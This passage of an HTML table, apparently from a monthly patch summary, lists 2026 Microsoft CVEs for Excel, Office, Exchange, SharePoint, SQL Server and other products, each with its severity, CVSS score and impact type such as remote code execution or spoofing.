  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
